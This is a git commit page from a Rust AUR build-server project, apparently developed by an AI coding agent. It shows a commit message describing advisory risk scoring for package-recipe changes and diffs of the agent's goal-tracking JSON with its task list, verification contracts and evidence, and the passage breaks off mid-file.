diff options
| author | aur-build <aur-build@localhost> | 2026-11-18 07:29:07 +0000 |
|---|---|---|
| committer | aur-build <aur-build@localhost> | 2026-11-18 07:29:07 +0000 |
| commit | 04b40812f3366c71bf1c99779f880cc74b7f9efa (patch) | |
| tree | 79586843b34b5a1cf703e18f2b5a35dd6814e9d6 | |
| parent | 0b3cb443e70b46ec61455255c3ddfc2a26997613 (diff) | |
| download | aur-build-04b40812f3366c71bf1c99779f880cc74b7f9efa.tar.gz aur-build-04b40812f3366c71bf1c99779f880cc74b7f9efa.zip | |
review: advisory risk scoring and non-publishable change handling (§6, §5.3, I11)
Every candidate is scored against the recipe the accepted release was
actually built from (release -> candidate -> snapshot), never against
'last seen'. Signals: SKIP on a non-VCS source, a sum changed to SKIP,
new source host, --skippgpcheck, removed validpgpkeys, new makedepends
and fetching build tools (cargo/npm/go/pip), .install scripts, weakened
options, removed checkdepends, pkgrel reset, epoch bump, downgrade, a
diff touching build()/package() bodies rather than metadata, upstream
ranges that touch a build-system file, and first introduction. Advisory
only — there is no auto-approval, so a wrong score costs attention and
never safety (§7.3).
Fixes a fixture bug the new tests exposed: digest-drift and
skip-checksum declared bare paths as sources, which parse as local
recipe files rather than remote downloads, so the drift path never
fired. They now use file:// URLs like a real remote would.
tests/notices.rs: integrity_alert is high severity and leaves no
candidate, pin_drift is informational, recipe drift under a static
version is a warning, SKIP-on-non-VCS is a high risk signal, repeated
polling of one drift is one notice, and an I11 sweep over twelve
fixtures proving a change is never silently dropped.
| -rw-r--r-- | .pi/.goals-pool-snapshot.json | 2 | ||||
| -rw-r--r-- | .pi/goals/.goal-ledger-checkpoint.json | 2 | ||||
| -rw-r--r-- | .pi/goals/active_goal_2026111720432444_mwl5tehk-xhe7fk.md | 26 | ||||
| -rw-r--r-- | .pi/goals/goal_events.jsonl | 3 | ||||
| -rw-r--r-- | src/db/queries.rs | 22 | ||||
| -rw-r--r-- | src/review/mod.rs | 1 | ||||
| -rw-r--r-- | src/review/risk.rs | 277 | ||||
| -rw-r--r-- | src/watch/detect.rs | 32 | ||||
| -rw-r--r-- | testcorpus/digest-drift/PKGBUILD | 2 | ||||
| -rw-r--r-- | testcorpus/skip-checksum/PKGBUILD | 2 | ||||
| -rw-r--r-- | tests/notices.rs | 213 |
11 files changed, 563 insertions, 19 deletions
diff --git a/.pi/.goals-pool-snapshot.json b/.pi/.goals-pool-snapshot.json index 47866f8..cba45fa 100644 --- a/.pi/.goals-pool-snapshot.json +++ b/.pi/.goals-pool-snapshot.json @@ -1 +1 @@ -{"version":1,"dirMtimeMs":1794986189728.4663,"goals":[{"id":"mwl5tehk-xhe7fk","objective":"Implement the AUR Build Server described in DESIGN.md as a single-process Rust binary in /workspace/aur-build, delivering phases P0–P4 (walking skeleton + test harness, VCS/pkgver detection, review web UI, durable build pipeline, staleness tracking), with every §2 invariant expressed as an executable test and the work committed incrementally to git.\n\nSUCCESS CRITERIA (observable):\n1. `cargo test` passes on the host with no `#[ignore]`-tier tests required; the §16a fake-package corpus and toolchain PATH shims drive the full step machine, publishing and crash-resume tests without root, network, or a real chroot.\n2. Invariants I1–I12 of §2 each have a named test that passes (I1 no-artifact-without-approval is a post-test query; I2 diff-base-is-last-accepted; I4 atomic publish survives kill-mid-publish; I5 step checkpoint/resume; I7 one open review enforced by the partial unique index; I12 world snapshots recorded).\n3. End-to-end against shims: subscribe pkgbase → detect → review → approve → build → publish a signed repo where both packages and the .db are signed, and the served index equals the set of current_accepted_release pointers (I8).\n4. Web UI serves the five §13 surfaces (Inbox, Builds, Attention, Index, Subscriptions) plus Ops/audit as server-rendered HTML; approve carries identity_hash + diff_digest and returns HTTP 409 on a stale approval (§7.1a).\n5. `cargo clippy` reports no errors; `git log` shows a sequence of small, meaningful commits from the initial scaffold to the final state; README documents build, run, and test commands.\n\nBOUNDARIES — IN SCOPE: P0, P1, P2, P3, P4 of §17, the §11 schema, §16 edge cases, §16a test harness, and one gated real-chroot integration attempt (devtools installed) if time permits.\nOUT OF SCOPE: everything in §20 (auto-approval policies, automatic dependency rebuilds, recipe-mutating hardening transforms, build-time upstream-pin honouring, network controls, cost-weighted admission, notifications), P5 polish, multi-tenancy/RBAC, non-x86_64 arches, and any change to DESIGN.md's decided decisions in §18.\n\nCONSTRAINTS (hard):\n- Rust edition 2021, no `async`/`await`, no tokio/axum/actix/reqwest/sqlx/libgit2; threads + crossbeam channels only; blocking HTTP via tiny_http; outbound HTTP via ureq; git by shelling out.\n- SQLite via rusqlite in WAL mode with exactly one writer actor thread (channel-based `Tx` enum) and thread-local read-only readers; no transaction may span a build step.\n- UI is server-rendered (askama or minijinja) with at most vendored htmx (~14 KB) plus ~30 lines of glue; no JS written by us beyond that glue, no bundler.\n- Fail closed on every pin assertion (recipe_hash, pkgver match against approved identity); non-publishable changes become `notice` rows, never candidates, never dropped (I11).\n- Provisioning: `sudo pacman -S --needed rustup devtools` (fall back to `pacman -S rust` only if rustup is unusable); no other system mutations; never commit secrets, the signing key, or build artifacts.\n- Commit incrementally: one commit per coherent step with a descriptive message; never a single monolithic commit; DESIGN.md stays untouched.\n- If a §19 open question blocks a design choice, pick the least-entangling option, record it in a `docs/DECISIONS.md` entry, and keep moving; stop and ask only if the choice is genuinely irreversible.\n\nIF BLOCKED: stop and ask the user (e.g. no network for crates, toolchain uninstallable, an invariant that cannot be made testable).","status":"active","autoContinue":true,"usage":{"tokensUsed":2777693,"activeSeconds":6191},"sisyphus":false,"createdAt":"2026-11-17T20:43:24.440Z","updatedAt":"2026-11-18T07:16:29.726Z","activePath":".pi/goals/active_goal_2026111720432444_mwl5tehk-xhe7fk.md","revision":288,"scheduler":{"version":1,"owner":"01a1eb32-2e3f-757c-a79a-21ac993facc5","generation":"dfbaf4f2-dad9-4dc6-9717-5038550aa75e","used":1,"phase":"running","repairUsed":false,"decision":{"kind":"ready","purpose":"kickoff"},"dispatch":{"id":"27430841-6f83-4343-a9fa-dd1c866de9d3","kind":"kickoff","claimedAt":1794985072841}},"taskList":{"tasks":[{"id":"task-setup","title":"Provision toolchain (pacman rustup + devtools) and initialize git","status":"complete","verificationContract":"`rustup show` and `cargo --version` work; `git -C /workspace/aur-build log` contains an initial commit with DESIGN.md, .gitignore, and a scaffolded Cargo.toml that `cargo build` compiles.","completedAt":"2026-11-17T20:48:20.900Z","evidence":"rustup 1.29.3 (pacman) + stable 1.100.0, devtools installed (mkarchroot/makechrootpkg present); git repo initialized on main with commit 3762c7c containing DESIGN.md, .gitignore, Cargo.toml; `cargo bu"},{"id":"task-p0","title":"P0 — walking skeleton + test harness (§17 P0, §16a)","status":"complete","subtasks":[{"id":"task-p0-schema","title":"SQLite schema, migrations, and single writer actor (§11, §11a)","status":"complete","verificationContract":"Migrations apply from empty DB; partial unique index rejects a second pending_review per pkgbase; audit table rejects UPDATE/DELETE by trigger; concurrent readers do not block the writer in a test.","completedAt":"2026-11-17T21:00:03.122Z","evidence":"tests/db.rs: 10 tests pass — migrations from empty + idempotent + WAL, default settings, I7 partial unique index rejects 2nd pending_review, candidate identity uniqueness, audit append-only triggers, "},{"id":"task-p0-shims","title":"Toolchain PATH shims + fake-package corpus (§16a)","status":"complete","verificationContract":"Fakes for mkarchroot/makechrootpkg/makepkg/repo-add/gpg/pacman record invocations and emit plausible .PKGINFO/.BUILDINFO/.sig per fixture manifest; at least plain-make, with-patch, skip-checksum, split-pkgbase, build-fails, missing-dep, epoch-bump, pkgrel-reset and downgrade fixtures exist and are driven by a test.","completedAt":"2026-11-17T21:31:09.120Z","evidence":"src/shims + src/bin/{mkarchroot,makechrootpkg,makepkg,repo-add,gpg,pacman}: shims record invocations to AUR_SHIM_DIR/invocations.jsonl, obey AUR_SHIM_MANIFEST, and emit real .pkg.tar.zst with .PKGINFO"},{"id":"task-p0-detect","title":"AUR mirror watcher: aur_commit pin, recipe_hash, source digests, candidate creation (§5.1, §5.1a, §5.3)","status":"complete","verificationContract":"Against a local file:// 'AUR' repo fixture: clone + ls-remote poll + fetch only on SHA move; snapshot records aur_commit and recipe_hash covering PKGBUILD/.SRCINFO/*.install/patches; SKIP sources are stream-hashed into source_cache; candidate.base is current_accepted_release; a brand-new pkgbase yields kind=first_introduction.","completedAt":"2026-11-17T21:20:02.693Z","evidence":"tests/detect.rs: 16 tests pass against real file:// git fixtures — clone+ls-remote poll with fetch only on SHA move (Sync::Unchanged vs Fetched), snapshot records aur_commit + recipe_hash covering shi"},{"id":"task-p0-approve","title":"Approval semantics + CLI approval path (§7.1, §7.1a, §7.2)","status":"complete","verificationContract":"CLI approve writes an immutable approval row with diff_digest and identity_hash; approving with a stale identity_hash or diff_digest is refused; collapse-in-place bumps revision without a new row while unviewed and freezes as superseded once viewed; a rejected identity is not re-detected.","completedAt":"2026-11-17T22:10:06.063Z","evidence":"tests/approve.rs: 10 tests pass incl. both-hash immutable approval row (migration 0006 trigger), stale identity/diff refused, collapse-in-place revision bump, viewed→superseded freeze, rejected identi"},{"id":"task-p0-build","title":"Build pipeline steps 0–9 and atomic signed publish (§8.1, §9)","status":"complete","verificationContract":"Shim-driven run of materialize→plan→chroot→sources→pkgver→build→collect→verify→ingest→publish; step 0 materializes from the local mirror and fails closed on recipe_hash mismatch; step 4 fails closed on pkgver mismatch; publish writes .tmp, fsyncs, renames, signs package and db, and updates current_accepted_release_id by compare-and-swap.","completedAt":"2026-11-17T21:58:00.936Z","evidence":"tests/pipeline.rs: 17 shim-driven e2e tests pass (fail-closed recipe_hash + pkgver, kill-mid-publish I4, crash-resume I5, CAS pointer, signed db+pkgs); cargo clippy clean"},{"id":"task-p0-invariants","title":"Executable invariant tests I1/I2/I4/I5/I8","status":"complete","verificationContract":"cargo test includes: post-run query proving no index entry lacks an approval (I1); multi-detection fixture proving the diff base is the last accepted version (I2); kill-mid-publish leaving the old index intact (I4); restart-resumes-at-next-incomplete-step with no duplicate side effects (I5); index set equals accepted-release pointers (I8).","completedAt":"2026-11-18T07:01:31.398Z","evidence":"tests/invariants.rs: 10 named invariant tests pass as post-conditions on real runs (I1 approval trace, I2 base after 5 detections, I3 recipe pin, I4 byte-identical index after mid-publish crash, I5 re"}],"completedAt":"2026-11-18T07:02:29.831Z","evidence":"All P0 children complete: schema+writer actor, shims+corpus, mirror watcher, approval semantics+CLI, 10-step pipeline with signed atomic publish, invariant index. 81 tests pass, clippy clean, 7 commit"},{"id":"task-p1","title":"P1 — VCS / computed pkgver detection (§5.2, §3)","status":"pending","subtasks":[{"id":"task-p1-stageA","title":"Stage A upstream probes over all VCS sources + persistent vcs_cache","status":"pending","verificationContract":"Parses source=() for git+/svn+/hg+ with #tag/#commit refs; probes via git ls-remote against local file:// repos; an unchanged HEAD set short-circuits before Stage B; multiple VCS sources each get their own pin entry."},{"id":"task-p1-stageB","title":"Stage B pkgver() resolution with pin capture + identity tuple","status":"pending","verificationContract":"Resolved epoch:pkgver-pkgrel plus upstream_pins become part of identity_hash; cooldown and global concurrency cap enforced; cache keyed on (pkgbase, recipe_hash, upstream_tip); a git-sourced fixture produces a candidate whose pins match the fixture repo HEAD."},{"id":"task-p1-notices","title":"Non-publishable change handling: pin_drift, recipe drift, digest drift → notice / integrity_alert (§5.2, §5.3, I11)","status":"pending","verificationContract":"pin-drift fixture yields a notice and no candidate; digest-drift fixture yields a high-severity integrity_alert and no candidate; SKIP-on-non-VCS is flagged as a risk signal; nothing publishable is silently dropped."}]},{"id":"task-p2","title":"P2 — review surface (§12, §13, §6)","status":"pending","subtasks":[{"id":"task-p2-http","title":"tiny_http server, templating, thread-local readers, CSRF + session gate","status":"pending","verificationContract":"Thread-per-connection server renders all §12 routes; every POST requires a CSRF token; handlers never use the write connection; pages render with JS disabled."},{"id":"task-p2-inbox","title":"Inbox + diff panels + advisory risk scoring (§6, §7.1b)","status":"pending","verificationContract":"Review detail renders recipe / version / source-digest / upstream / source / dependency / build-env / install-hook panels, all based on accepted→candidate; risk signals computed and shown inline; base and aur_commit displayed with an AUR cgit link; first_introduction renders the full recipe with the subtle accent and no diff pane."},{"id":"task-p2-approve409","title":"Optimistic-concurrency approve/reject + bulk operations (§7.1a, §7.4)","status":"pending","verificationContract":"Approve POST with a stale identity_hash/diff_digest returns 409 and re-renders the current diff with an explanation; bulk approve refuses high-risk items without per-item confirmation; reject requires a note and is re-openable."},{"id":"task-p2-surfaces","title":"Subscriptions, Index, Builds, Attention, Ops/audit pages","status":"pending","verificationContract":"Each §13 surface renders from live DB state; Attention shows outdated-dependency, downgrade and blocked-build rows; the package page shows timeline, deps in/out, staleness and aur_commit history; manual rebuild reuses the approved source identity without a new approval (I6)."}]},{"id":"task-p3","title":"P3 — durability (§8.2, §8.3, §8.4)","status":"pending","subtasks":[{"id":"task-p3-dispatch","title":"Dispatcher actor, worker pool, leases, and reaper","status":"pending","verificationContract":"Dispatcher claims with BEGIN IMMEDIATE + lease expiry, requeues expired leases on startup, marks in-flight steps interrupted; the deterministic build id makes re-enqueue an INSERT OR IGNORE no-op; backpressure respects max_concurrent_builds and disk headroom."},{"id":"task-p3-crash","title":"Cancellation, retry policy, and crash-resume tests against shims (I5)","status":"pending","verificationContract":"A test kills the process mid-step and asserts resume at the next incomplete step with no duplicate side effects; cancel_requested stops a worker at a step boundary; deterministic build failures do not auto-retry and the release stays approved_but_unbuilt with the UI showing 'index still serving v1'."},{"id":"task-p3-sse","title":"SSE log tail + htmx live builds table","status":"pending","verificationContract":"GET /builds/:id/log.stream streams appended log bytes from a blocking thread; the builds table refreshes via htmx every 3s; vendored htmx is the only JS shipped and total vendored JS stays under 20 KB."}]},{"id":"task-p4","title":"P4 — staleness, retention, metrics (§10, §15)","status":"pending","subtasks":[{"id":"task-p4-world","title":".PKGINFO/.BUILDINFO parsing and world_snapshot filtered to our own repo","status":"pending","verificationContract":"Ingest parses tar+text without libalpm; world_snapshot members are intersected with our index at ingest time (not query time); split pkgbases produce N package rows from one approval."},{"id":"task-p4-stale","title":"Staleness query, downgrades, blocked_missing_dep, and dependents view","status":"pending","verificationContract":"stale_outdated and stale_missing are derived purely on read; a build with an unresolvable dep enters blocked_missing_dep, appears on Attention with the blocking pkgbase named, and the review page warns about missing deps before approval; the dep_edge view answers 'approving this marks N packages stale'."},{"id":"task-p4-ops","title":"Retention/GC, metrics endpoint, and backup helper","status":"pending","verificationContract":"Retention keeps N versions with logs and sources as a unit and sweeps abandoned staging dirs; GET /metrics emits prometheus text including queue depth, pending-review age histogram, build success rate and WAL size; backup uses VACUUM INTO (never cp of a live WAL db)."},{"id":"task-p4-deps","title":"vercmp + dependency-string parser and version-delta flagging (§4, §6)","status":"pending","verificationContract":"Hand-written vercmp and dep-string parser pass a table-driven test suite (epoch, pkgrel reset, alpha/numeric boundaries, provides/conflicts syntax); downgrade and epoch-bump detection use them and are covered by tests."}]},{"id":"task-verify","title":"Final verification pass, real-chroot attempt, and documentation","status":"pending","verificationContract":"Full `cargo test` and `cargo clippy` run clean; every §2 invariant maps to a named passing test (list produced); README + docs/DECISIONS.md written; git history reviewed for incremental commits; the gated real-chroot integration attempt against devtools is run or explicitly recorded as skipped with the reason."}],"blockCompletion":true,"proposedAt":"2026-11-17T20:39:23.165Z"},"currentTaskId":"task-p1-stageA"}]}
\ No newline at end of file +{"version":1,"dirMtimeMs":1794986940018.6958,"goals":[{"id":"mwl5tehk-xhe7fk","objective":"Implement the AUR Build Server described in DESIGN.md as a single-process Rust binary in /workspace/aur-build, delivering phases P0–P4 (walking skeleton + test harness, VCS/pkgver detection, review web UI, durable build pipeline, staleness tracking), with every §2 invariant expressed as an executable test and the work committed incrementally to git.\n\nSUCCESS CRITERIA (observable):\n1. `cargo test` passes on the host with no `#[ignore]`-tier tests required; the §16a fake-package corpus and toolchain PATH shims drive the full step machine, publishing and crash-resume tests without root, network, or a real chroot.\n2. Invariants I1–I12 of §2 each have a named test that passes (I1 no-artifact-without-approval is a post-test query; I2 diff-base-is-last-accepted; I4 atomic publish survives kill-mid-publish; I5 step checkpoint/resume; I7 one open review enforced by the partial unique index; I12 world snapshots recorded).\n3. End-to-end against shims: subscribe pkgbase → detect → review → approve → build → publish a signed repo where both packages and the .db are signed, and the served index equals the set of current_accepted_release pointers (I8).\n4. Web UI serves the five §13 surfaces (Inbox, Builds, Attention, Index, Subscriptions) plus Ops/audit as server-rendered HTML; approve carries identity_hash + diff_digest and returns HTTP 409 on a stale approval (§7.1a).\n5. `cargo clippy` reports no errors; `git log` shows a sequence of small, meaningful commits from the initial scaffold to the final state; README documents build, run, and test commands.\n\nBOUNDARIES — IN SCOPE: P0, P1, P2, P3, P4 of §17, the §11 schema, §16 edge cases, §16a test harness, and one gated real-chroot integration attempt (devtools installed) if time permits.\nOUT OF SCOPE: everything in §20 (auto-approval policies, automatic dependency rebuilds, recipe-mutating hardening transforms, build-time upstream-pin honouring, network controls, cost-weighted admission, notifications), P5 polish, multi-tenancy/RBAC, non-x86_64 arches, and any change to DESIGN.md's decided decisions in §18.\n\nCONSTRAINTS (hard):\n- Rust edition 2021, no `async`/`await`, no tokio/axum/actix/reqwest/sqlx/libgit2; threads + crossbeam channels only; blocking HTTP via tiny_http; outbound HTTP via ureq; git by shelling out.\n- SQLite via rusqlite in WAL mode with exactly one writer actor thread (channel-based `Tx` enum) and thread-local read-only readers; no transaction may span a build step.\n- UI is server-rendered (askama or minijinja) with at most vendored htmx (~14 KB) plus ~30 lines of glue; no JS written by us beyond that glue, no bundler.\n- Fail closed on every pin assertion (recipe_hash, pkgver match against approved identity); non-publishable changes become `notice` rows, never candidates, never dropped (I11).\n- Provisioning: `sudo pacman -S --needed rustup devtools` (fall back to `pacman -S rust` only if rustup is unusable); no other system mutations; never commit secrets, the signing key, or build artifacts.\n- Commit incrementally: one commit per coherent step with a descriptive message; never a single monolithic commit; DESIGN.md stays untouched.\n- If a §19 open question blocks a design choice, pick the least-entangling option, record it in a `docs/DECISIONS.md` entry, and keep moving; stop and ask only if the choice is genuinely irreversible.\n\nIF BLOCKED: stop and ask the user (e.g. no network for crates, toolchain uninstallable, an invariant that cannot be made testable).","status":"active","autoContinue":true,"usage":{"tokensUsed":3247406,"activeSeconds":6929},"sisyphus":false,"createdAt":"2026-11-17T20:43:24.440Z","updatedAt":"2026-11-18T07:29:00.016Z","activePath":".pi/goals/active_goal_2026111720432444_mwl5tehk-xhe7fk.md","revision":310,"scheduler":{"version":1,"owner":"01a1eb32-2e3f-757c-a79a-21ac993facc5","generation":"dfbaf4f2-dad9-4dc6-9717-5038550aa75e","used":1,"phase":"running","repairUsed":false,"decision":{"kind":"ready","purpose":"kickoff"},"dispatch":{"id":"27430841-6f83-4343-a9fa-dd1c866de9d3","kind":"kickoff","claimedAt":1794985072841}},"taskList":{"tasks":[{"id":"task-setup","title":"Provision toolchain (pacman rustup + devtools) and initialize git","status":"complete","verificationContract":"`rustup show` and `cargo --version` work; `git -C /workspace/aur-build log` contains an initial commit with DESIGN.md, .gitignore, and a scaffolded Cargo.toml that `cargo build` compiles.","completedAt":"2026-11-17T20:48:20.900Z","evidence":"rustup 1.29.3 (pacman) + stable 1.100.0, devtools installed (mkarchroot/makechrootpkg present); git repo initialized on main with commit 3762c7c containing DESIGN.md, .gitignore, Cargo.toml; `cargo bu"},{"id":"task-p0","title":"P0 — walking skeleton + test harness (§17 P0, §16a)","status":"complete","subtasks":[{"id":"task-p0-schema","title":"SQLite schema, migrations, and single writer actor (§11, §11a)","status":"complete","verificationContract":"Migrations apply from empty DB; partial unique index rejects a second pending_review per pkgbase; audit table rejects UPDATE/DELETE by trigger; concurrent readers do not block the writer in a test.","completedAt":"2026-11-17T21:00:03.122Z","evidence":"tests/db.rs: 10 tests pass — migrations from empty + idempotent + WAL, default settings, I7 partial unique index rejects 2nd pending_review, candidate identity uniqueness, audit append-only triggers, "},{"id":"task-p0-shims","title":"Toolchain PATH shims + fake-package corpus (§16a)","status":"complete","verificationContract":"Fakes for mkarchroot/makechrootpkg/makepkg/repo-add/gpg/pacman record invocations and emit plausible .PKGINFO/.BUILDINFO/.sig per fixture manifest; at least plain-make, with-patch, skip-checksum, split-pkgbase, build-fails, missing-dep, epoch-bump, pkgrel-reset and downgrade fixtures exist and are driven by a test.","completedAt":"2026-11-17T21:31:09.120Z","evidence":"src/shims + src/bin/{mkarchroot,makechrootpkg,makepkg,repo-add,gpg,pacman}: shims record invocations to AUR_SHIM_DIR/invocations.jsonl, obey AUR_SHIM_MANIFEST, and emit real .pkg.tar.zst with .PKGINFO"},{"id":"task-p0-detect","title":"AUR mirror watcher: aur_commit pin, recipe_hash, source digests, candidate creation (§5.1, §5.1a, §5.3)","status":"complete","verificationContract":"Against a local file:// 'AUR' repo fixture: clone + ls-remote poll + fetch only on SHA move; snapshot records aur_commit and recipe_hash covering PKGBUILD/.SRCINFO/*.install/patches; SKIP sources are stream-hashed into source_cache; candidate.base is current_accepted_release; a brand-new pkgbase yields kind=first_introduction.","completedAt":"2026-11-17T21:20:02.693Z","evidence":"tests/detect.rs: 16 tests pass against real file:// git fixtures — clone+ls-remote poll with fetch only on SHA move (Sync::Unchanged vs Fetched), snapshot records aur_commit + recipe_hash covering shi"},{"id":"task-p0-approve","title":"Approval semantics + CLI approval path (§7.1, §7.1a, §7.2)","status":"complete","verificationContract":"CLI approve writes an immutable approval row with diff_digest and identity_hash; approving with a stale identity_hash or diff_digest is refused; collapse-in-place bumps revision without a new row while unviewed and freezes as superseded once viewed; a rejected identity is not re-detected.","completedAt":"2026-11-17T22:10:06.063Z","evidence":"tests/approve.rs: 10 tests pass incl. both-hash immutable approval row (migration 0006 trigger), stale identity/diff refused, collapse-in-place revision bump, viewed→superseded freeze, rejected identi"},{"id":"task-p0-build","title":"Build pipeline steps 0–9 and atomic signed publish (§8.1, §9)","status":"complete","verificationContract":"Shim-driven run of materialize→plan→chroot→sources→pkgver→build→collect→verify→ingest→publish; step 0 materializes from the local mirror and fails closed on recipe_hash mismatch; step 4 fails closed on pkgver mismatch; publish writes .tmp, fsyncs, renames, signs package and db, and updates current_accepted_release_id by compare-and-swap.","completedAt":"2026-11-17T21:58:00.936Z","evidence":"tests/pipeline.rs: 17 shim-driven e2e tests pass (fail-closed recipe_hash + pkgver, kill-mid-publish I4, crash-resume I5, CAS pointer, signed db+pkgs); cargo clippy clean"},{"id":"task-p0-invariants","title":"Executable invariant tests I1/I2/I4/I5/I8","status":"complete","verificationContract":"cargo test includes: post-run query proving no index entry lacks an approval (I1); multi-detection fixture proving the diff base is the last accepted version (I2); kill-mid-publish leaving the old index intact (I4); restart-resumes-at-next-incomplete-step with no duplicate side effects (I5); index set equals accepted-release pointers (I8).","completedAt":"2026-11-18T07:01:31.398Z","evidence":"tests/invariants.rs: 10 named invariant tests pass as post-conditions on real runs (I1 approval trace, I2 base after 5 detections, I3 recipe pin, I4 byte-identical index after mid-publish crash, I5 re"}],"completedAt":"2026-11-18T07:02:29.831Z","evidence":"All P0 children complete: schema+writer actor, shims+corpus, mirror watcher, approval semantics+CLI, 10-step pipeline with signed atomic publish, invariant index. 81 tests pass, clippy clean, 7 commit"},{"id":"task-p1","title":"P1 — VCS / computed pkgver detection (§5.2, §3)","status":"pending","subtasks":[{"id":"task-p1-stageA","title":"Stage A upstream probes over all VCS sources + persistent vcs_cache","status":"complete","verificationContract":"Parses source=() for git+/svn+/hg+ with #tag/#commit refs; probes via git ls-remote against local file:// repos; an unchanged HEAD set short-circuits before Stage B; multiple VCS sources each get their own pin entry.","completedAt":"2026-11-18T07:16:40.077Z","evidence":"tests/vcs.rs: stage_a_probes_every_vcs_source_not_just_the_first (git-multi → 2 pins matching both repo HEADs), stage_a_respects_a_tag_pin, stage_a_short_circuits_before_stage_b_when_nothing_moved (ma"},{"id":"task-p1-stageB","title":"Stage B pkgver() resolution with pin capture + identity tuple","status":"complete","verificationContract":"Resolved epoch:pkgver-pkgrel plus upstream_pins become part of identity_hash; cooldown and global concurrency cap enforced; cache keyed on (pkgbase, recipe_hash, upstream_tip); a git-sourced fixture produces a candidate whose pins match the fixture repo HEAD.","completedAt":"2026-11-18T07:17:57.387Z","evidence":"tests/vcs.rs: stage_b_resolves_pkgver_and_captures_the_pins (pins in identity_hash via Identity hash comparison), stage_b_is_cached_on_pkgbase_recipe_and_tip (cache row reuse + cooldown + re-resolve o"},{"id":"task-p1-notices","title":"Non-publishable change handling: pin_drift, recipe drift, digest drift → notice / integrity_alert (§5.2, §5.3, I11)","status":"pending","verificationContract":"pin-drift fixture yields a notice and no candidate; digest-drift fixture yields a high-severity integrity_alert and no candidate; SKIP-on-non-VCS is flagged as a risk signal; nothing publishable is silently dropped."}]},{"id":"task-p2","title":"P2 — review surface (§12, §13, §6)","status":"pending","subtasks":[{"id":"task-p2-http","title":"tiny_http server, templating, thread-local readers, CSRF + session gate","status":"pending","verificationContract":"Thread-per-connection server renders all §12 routes; every POST requires a CSRF token; handlers never use the write connection; pages render with JS disabled."},{"id":"task-p2-inbox","title":"Inbox + diff panels + advisory risk scoring (§6, §7.1b)","status":"pending","verificationContract":"Review detail renders recipe / version / source-digest / upstream / source / dependency / build-env / install-hook panels, all based on accepted→candidate; risk signals computed and shown inline; base and aur_commit displayed with an AUR cgit link; first_introduction renders the full recipe with the subtle accent and no diff pane."},{"id":"task-p2-approve409","title":"Optimistic-concurrency approve/reject + bulk operations (§7.1a, §7.4)","status":"pending","verificationContract":"Approve POST with a stale identity_hash/diff_digest returns 409 and re-renders the current diff with an explanation; bulk approve refuses high-risk items without per-item confirmation; reject requires a note and is re-openable."},{"id":"task-p2-surfaces","title":"Subscriptions, Index, Builds, Attention, Ops/audit pages","status":"pending","verificationContract":"Each §13 surface renders from live DB state; Attention shows outdated-dependency, downgrade and blocked-build rows; the package page shows timeline, deps in/out, staleness and aur_commit history; manual rebuild reuses the approved source identity without a new approval (I6)."}]},{"id":"task-p3","title":"P3 — durability (§8.2, §8.3, §8.4)","status":"pending","subtasks":[{"id":"task-p3-dispatch","title":"Dispatcher actor, worker pool, leases, and reaper","status":"pending","verificationContract":"Dispatcher claims with BEGIN IMMEDIATE + lease expiry, requeues expired leases on startup, marks in-flight steps interrupted; the deterministic build id makes re-enqueue an INSERT OR IGNORE no-op; backpressure respects max_concurrent_builds and disk headroom."},{"id":"task-p3-crash","title":"Cancellation, retry policy, and crash-resume tests against shims (I5)","status":"pending","verificationContract":"A test kills the process mid-step and asserts resume at the next incomplete step with no duplicate side effects; cancel_requested stops a worker at a step boundary; deterministic build failures do not auto-retry and the release stays approved_but_unbuilt with the UI showing 'index still serving v1'."},{"id":"task-p3-sse","title":"SSE log tail + htmx live builds table","status":"pending","verificationContract":"GET /builds/:id/log.stream streams appended log bytes from a blocking thread; the builds table refreshes via htmx every 3s; vendored htmx is the only JS shipped and total vendored JS stays under 20 KB."}]},{"id":"task-p4","title":"P4 — staleness, retention, metrics (§10, §15)","status":"pending","subtasks":[{"id":"task-p4-world","title":".PKGINFO/.BUILDINFO parsing and world_snapshot filtered to our own repo","status":"pending","verificationContract":"Ingest parses tar+text without libalpm; world_snapshot members are intersected with our index at ingest time (not query time); split pkgbases produce N package rows from one approval."},{"id":"task-p4-stale","title":"Staleness query, downgrades, blocked_missing_dep, and dependents view","status":"pending","verificationContract":"stale_outdated and stale_missing are derived purely on read; a build with an unresolvable dep enters blocked_missing_dep, appears on Attention with the blocking pkgbase named, and the review page warns about missing deps before approval; the dep_edge view answers 'approving this marks N packages stale'."},{"id":"task-p4-ops","title":"Retention/GC, metrics endpoint, and backup helper","status":"pending","verificationContract":"Retention keeps N versions with logs and sources as a unit and sweeps abandoned staging dirs; GET /metrics emits prometheus text including queue depth, pending-review age histogram, build success rate and WAL size; backup uses VACUUM INTO (never cp of a live WAL db)."},{"id":"task-p4-deps","title":"vercmp + dependency-string parser and version-delta flagging (§4, §6)","status":"pending","verificationContract":"Hand-written vercmp and dep-string parser pass a table-driven test suite (epoch, pkgrel reset, alpha/numeric boundaries, provides/conflicts syntax); downgrade and epoch-bump detection use them and are covered by tests."}]},{"id":"task-verify","title":"Final verification pass, real-chroot attempt, and documentation","status":"pending","verificationContract":"Full `cargo test` and `cargo clippy` run clean; every §2 invariant maps to a named passing test (list produced); README + docs/DECISIONS.md written; git history reviewed for incremental commits; the gated real-chroot integration attempt against devtools is run or explicitly recorded as skipped with the reason."}],"blockCompletion":true,"proposedAt":"2026-11-17T20:39:23.165Z"},"currentTaskId":"task-p1-notices"}]}
\ No newline at end of file diff --git a/.pi/goals/.goal-ledger-checkpoint.json b/.pi/goals/.goal-ledger-checkpoint.json index cbc7498..694b67e 100644 --- a/.pi/goals/.goal-ledger-checkpoint.json +++ b/.pi/goals/.goal-ledger-checkpoint.json @@ -1 +1 @@ -{"version":4,"format":"goal-ledger-checkpoint","createdAt":"2026-11-18T07:04:12.255Z","coveredBytes":7311,"coveredEvents":19,"acc":{"goals":[{"goalId":"mwl5tehk-xhe7fk","latestStatus":"active","latestFocus":false,"createdAt":"2026-11-17T20:43:24.440Z","resumedAt":"2026-11-18T06:57:52.837Z"}],"terminalGoals":[],"focusedGoalId":null,"focusGeneration":0,"focusGenByGoal":[]},"recentEventsByGoal":[["mwl5tehk-xhe7fk",[{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-detect","evidence":"tests/detect.rs: 16 tests pass against real file:// git fixtures — clone+ls-remote poll with fetch only on SHA move (Sync::Unchanged vs Fetched), snapshot records aur_commit + recipe_hash covering shi","at":"2026-11-17T21:20:02.693Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-shims","at":"2026-11-17T21:21:27.981Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-shims","evidence":"src/shims + 